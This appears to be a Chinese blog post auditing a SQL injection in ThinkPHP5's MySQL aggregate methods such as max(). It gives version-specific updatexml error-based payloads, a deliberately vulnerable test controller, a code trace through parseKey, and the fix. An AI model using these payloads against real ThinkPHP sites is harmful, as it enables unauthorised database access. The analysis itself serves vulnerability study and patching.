ThinkPHP5代码审计【聚合函数引起的SQL注入】

简介

Mysql 聚合函数相关方法均存在注入

本次漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。

漏洞影响版本: 5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。

Payload IN :5.0.0~5.0.21 、 5.1.3~5.1.10

id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

Payload IN :5.1.11~5.1.25

id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
环境搭建

composer下载源码:

composer create-project --prefer-dist topthink/think=5.1.25 thinkphp_5.1.25

配置 application/index/controller/Index.php为以下代码:

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $options = request()->get('options');
        $result = db('users')->max($options);
        var_dump($result);
    }
}

配置composer.json:
在这里插入图片描述
在config/database.php下配置数据库
在这里插入图片描述
在config/app.php开启调试
在这里插入图片描述
然后去GitHub上下载thinkphp目录并将其代替我们composer下载的thinkphp目录,下载地址:
https://github.com/top-think/framework/archive/refs/tags/v5.1.25.zip

分析

正常地传入id,即MAX(`id`)了,看到确实会返回正确的值:

在这里插入图片描述
尝试闭合一下MAX(`id`),加一个反引号、一个括号、一个报错语句、一个注释符,发现我们的请求没有被拦截而直接成功触发SQL注入了:

payload
?options=id`) and updatexml(1,concat(0x7e,user(),0x7e),1)from users%23

在这里插入图片描述


分析一下其中的原因:
前面的不讲了,直接看max()方法,会调用aggregate()方法
在这里插入图片描述
Connection类下的aggregate()方法:先经过了一个拼接,然后会进入value()方法
在这里插入图片描述
经过一个拼接得到的$field=

MAX(`id`) and updatexml(1,concat(0x7e,user(),0x7e),1)from users#`) AS tp_max

然后看value(),其中最重要的就是生成SQL语句处:
在这里插入图片描述
Builder类下的select方法:重点看对字段的处理,也就是重点看$this->parseField($query, $options['field']),
在这里插入图片描述
这个parseField方法主要执行下面这些代码:

protected function parseField(Query $query, $fields)
{
	.......
        foreach ($fields as $key => $field) {
			else {
                $array[] = $this->parseKey($query, $field);
            }
        }
    ......
        $fieldsStr = implode(',', $array);
    return $fieldsStr;

$field数组的值逐个传入parseKey中检查,然后再往$array中添加值,$array数组以逗号合并起来,得到$fieldStr
在这里插入图片描述
上述的parsekey方法来自Mysql类下的parsekey方法,会对字段名进行检查,其中有一处不满足正则就加反引号的代码,不过这对我们的上面$fields数组中的值没有影响,因为都不满足那个正则
在这里插入图片描述

所以最终$fieldsStr的值为

MAX(`id`) and updatexml(1,concat(0x7e,user(),0x7e),1)from users#`) AS tp_max

从而得到SQL语句:

SELECT MAX(`id`) and updatexml(1,concat(0x7e,user(),0x7e),1)from users#`) AS tp_max FROM `users` LIMIT 1  

到这儿就大致完成了,可以看见SQL语句就是我们想要的

可以看到关键是Mysql类下对字段名检查的parseKey()方法 没有严格过滤导致我们的语句能组成起来



七月火师傅的攻击流程图
在这里插入图片描述

修复

在Mysql类parseKey()方法中,添加一段过滤代码,不允许出现除了 字母、点号、星号 以外的字符时,否则就抛出异常。

在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值